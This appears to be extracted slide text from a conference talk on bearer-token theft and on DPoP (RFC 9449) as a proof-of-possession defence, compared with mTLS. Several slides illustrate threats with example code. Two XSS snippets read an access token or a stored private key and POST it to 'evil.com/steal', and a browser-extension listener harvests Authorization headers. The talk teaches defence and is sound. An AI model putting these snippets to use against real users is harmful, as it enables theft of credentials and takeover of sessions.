without Computers, Software, > 25 yrs ▸ "Mr. Keycloak" since 2015 (v1.x) ▸ Organizer of Keycloak DevDay Conf (keycloak-day.dev) ▸ Member of various IAM Expert groups & communities ▸ Co-Lead of JUG DA (www.jug-da.de / @JUG_DA) ▸ Web: www.n-k.de / Social: @dasniko YouTube: youtube.com/@dasniko
Access Token is generated/received in browser ▸ Token is sent in request headers to API ▸ Token is "Bearer Token"; Those who have it, can use it! Auth Server Browser (SPA) API (Backend) Auth Token
BEARER TOKENS… ▸ Bearer token = "Bearer bond" Anyone who has this token can use it – no questions asked! ▸ Problem: ▸ No binding to the original owner ▸ No proof that the user is the legitimate owner ▸ Token theft = complete takeover of the session
(XSS) ✗ Token is in the JavaScript context ✗ XSS attack can read token ✗ Attacker can use token on their own system <script> // read token from localStorage/sessionStorage const token = localStorage.getItem('access_token'); // send token to attacker server fetch('https://evil.com/steal', { method: 'POST', body: JSON.stringify({ token }) }); </script>
THE MIDDLE (MITM) ▸ Attack vectors ▸ Compromised network (public WiFi) ▸ Compromised proxies/VPNs ▸ TLS stripping/downgrade attacks ▸ Compromised certi fi cates ▸ Consequence ✗ Token is intercepted in plain text ✗ Attacker can reuse token as often as desired ✗ Can still be used even after the attack has ended
VIA LOGS ✗ Token ends up in browser console ✗ Token ends up in server logs ✗ Token ends up in monitoring systems (Sentry, Datadog, etc.) ✗ Token ends up in backup systems // Developer performs debugging console.log('API Request:', { url: '/api/users', headers: { 'Authorization': 'Bearer eyJhbGciOiJSUzI1NiIs…' } }); // error logging logger.error('Request failed', { headers: request.headers // Oops! Token in the log });
/ MALWARE ✗ All HTTP requests can be recorded ✗ Tokens are tapped before they leave the network // Extension can monitor HTTP traffic chrome.webRequest.onBeforeSendHeaders.addListener( (details) => { const authHeader = details.requestHeaders .find(h => h.name === 'Authorization'); // Extract and exfiltrate token } ); ▸ Browser extension with too many permissions ▸ Malware on the end device ▸ Compromised browser
TOKENS RISKY? ▸ No client binding ▸ Token works from any client / from anywhere ▸ No proof of possession ▸ No proof of legitimate ownership ▸ Replay possible ▸ Stolen token = complete control ▸ Long validity ▸ The longer it is valid, the greater the time window How can we prove that the client using the token is also the legitimate owner?
Analogy: ▸ Bearer token = cinema ticket (anyone can use it) ▸ DPoP token = cinema ticket + ID card (only you can use it) ▸ Principle: ▸ Client generates key pair (public/private key) ▸ Public key is ‘burned’ into token ▸ Client must prove possession of private key with every request DPoP = Demonstrated Proof-of-Possession RFC 9449 (OAuth 2.0 Demonstrating Proof of Possession) Link the access token to a cryptographic key pair!
WITH DPOP # Attacker attempts to use stolen token ✗ curl -H "Authorization: DPoP stolen_token" \ -H "DPoP: <proof>" \ https://api.example.com/data # → Error! 🎉 # Attacker can use token directly ✗ curl -H "Authorization: Bearer stolen_token" \ https://api.example.com/data # → Works! 😱 Without DPoP (Bearer) With DPoP ▸ Why? ▸ The attacker has the access token, ▸ but NOT the private key! ▸ The attacker cannot create a valid DPoP proof. ▸ The API rejects the request.
Additional advantages ▸ Private key remains in the client ▸ No server-side state required ▸ Works via CDNs & load balancers ▸ Transparent for existing OAuth2 fl ows
✗ DPoP does not replace OAuth2 → DPoP is an extension of OAuth2, not a replacement ✗ DPoP does not protect against XSS → If attackers can execute JavaScript in the client, they can also use keys ✗ DPoP is not end-to-end encryption → Only protects against token theft, not traf fi c analysis ✗ DPoP does not solve all security problems → CSP, HTTPS and secure key storage remain important!
▸ What is mTLS? ▸ Client authenticates with its own certi fi cate. ▸ Already at the TLS level (not at the application level). ▸ Both sides present certi fi cates. ▸ Advantages of mTLS: ✓ Very strong cryptography ✓ Established standard ✓ At transport level ▸ Disadvantages of mTLS: ✗ Complex in browser environments ✗ Certi fi cate management dif fi cult ✗ Does not work via CDNs/proxies ✗ Not transparent for many infrastructures
COMPARISON ASPECT DPOP MTLS Level Application Layer (HTTP) Transport Layer (TLS) Browser support ✓ Good (WebCrypto API) ✗ Limited Setup complexity ✓ Simple ✗ Complex Certi fi cate Management ✓ Not necessary ✗ CA, renewal, etc. CDN/Proxy compatible ✓ Yes ✗ No (TLS termination) Token portability ✗ Bound to key ✗ Bound to cert Performance ✓ Good ✓ Very good Granularity ✓ Per request ✗ Per connection
TYPE? ▸ Combine both when ▸ Defence in depth desired ▸ Different client types (browser + backend) ▸ Use DPoP if ▸ Browser-based SPAs ▸ Public clients (no client secret possible) ▸ CDN/load balancer in use ▸ Simple setup desired ▸ OAuth2 already in use ▸ Use mTLS if ▸ Server-to-server communication ▸ Highest security requirements (banking, government) ▸ Complete control over infrastructure ▸ Certi fi cate management already in place ▸ No browser clients
WE’VE LEARNED ▸ Bearer tokens are vulnerable to theft (XSS, MitM, logs, etc.) ▸ DPoP binds tokens to keys and prevents replay attacks ▸ Easy integration into existing OAuth2 fl ows ▸ Browser-friendly thanks to WebCrypto API ▸ Practical for SPAs (better than mTLS) Most important: ⚠ A stolen DPoP token is useless without the private key‼
EdDSA (or ECDSA P-256 or P-384 in older browsers / full compatibility) ▸ Store private keys in IndexedDB ▸ Implement key rotation ▸ Combine with other security measures (CSP, HTTPS)
already production-ready? Yes! RFC 9449 has been of fi cial since 2023. Keycloak supports it from version 26.4 onwards, and many IdPs (Auth0, Okta) offer support. Spring Security, Quarkus and .NET have implementations. ❓What happens during key rotation? The client generates a new key pair and retrieves a new token from the authentication server. The old token becomes invalid. A grace period can be con fi gured. ❓Does DPoP work with refresh tokens? Yes! Refresh token requests also use DPoP proof. This protects the refresh fl ow as well. ❓Performance impact? Minimal. Signature creation is fast (~1-2 ms). Validation on the server is also fast. Largest overhead: additional HTTP header (~1-2 KB).
mobile apps? DPoP also works in iOS/Android. Use Keychain/Keystore for key storage. ❓Should I use EdDSA or ECDSA for DPoP? EdDSA (Ed25519) is technically better – faster, smaller signatures, more secure. BUT: Browser support is brand new (Chrome 137 from May 2025, Firefox 129 from August 2024). For maximum compatibility today: ECDSA P-256. For new apps with modern browser requirements: EdDSA. Both are permitted in RFC 9449! ❓Why do I mostly see ECDSA instead of EdDSA in examples? EdDSA was not available in the WebCrypto API until 2024/2025! For years, ECDSA was the only option for asymmetric signatures in browsers. That is changing right now. ❓How do I securely store private keys in the browser? IndexedDB is currently the best option. Store keys as CryptoKey objects, not as strings. Additionally: use non-extractable keys if possible.
KEYS? // ❌ ANTI-PATTERN: Save key as string const privateKeyJwk = await crypto.subtle.exportKey('jwk', privateKey); localStorage.setItem('dpopKey', JSON.stringify(privateKeyJwk)); // In the event of an XSS attack: const stolenKey = localStorage.getItem('dpopKey'); fetch('https://evil.com/steal', { method: 'POST', body: stolenKey // → Key has been completely stolen! 😱 }); Why not just use localStorage? ✗ Key is available as plain text string ✗ Any JavaScript can access it ✗ XSS can directly ex fi ltrate key ✗ Synchronous API (blocks main thread)
INDEXEDDB PROTECT? SCENARIO PROTECTED? Tokens in server logs ✓ YES - Tokens useless without key Tokens intercepted via network (MitM) ✓ YES - Token useless without key Token stolen from database ✓ YES - Token useless without key XSS attack exports key ✓ YES - Export fails XSS attack uses key in browser ✗ NO - Key can be used Compromised browser ✗ NO - Full access to everything
- THE HONEST TRUTH DPoP does NOT protect against: ✗ Active XSS attacks in the browser ✗ Compromised browsers or malware ✗ Attackers who can execute JavaScript on the client DPoP protects against: ✓ Token theft AFTER leaving the client ✓ Passive interception (logs, network, DB) ✓ Token replay from another system/device ✓ Massively reduces the value of stolen tokens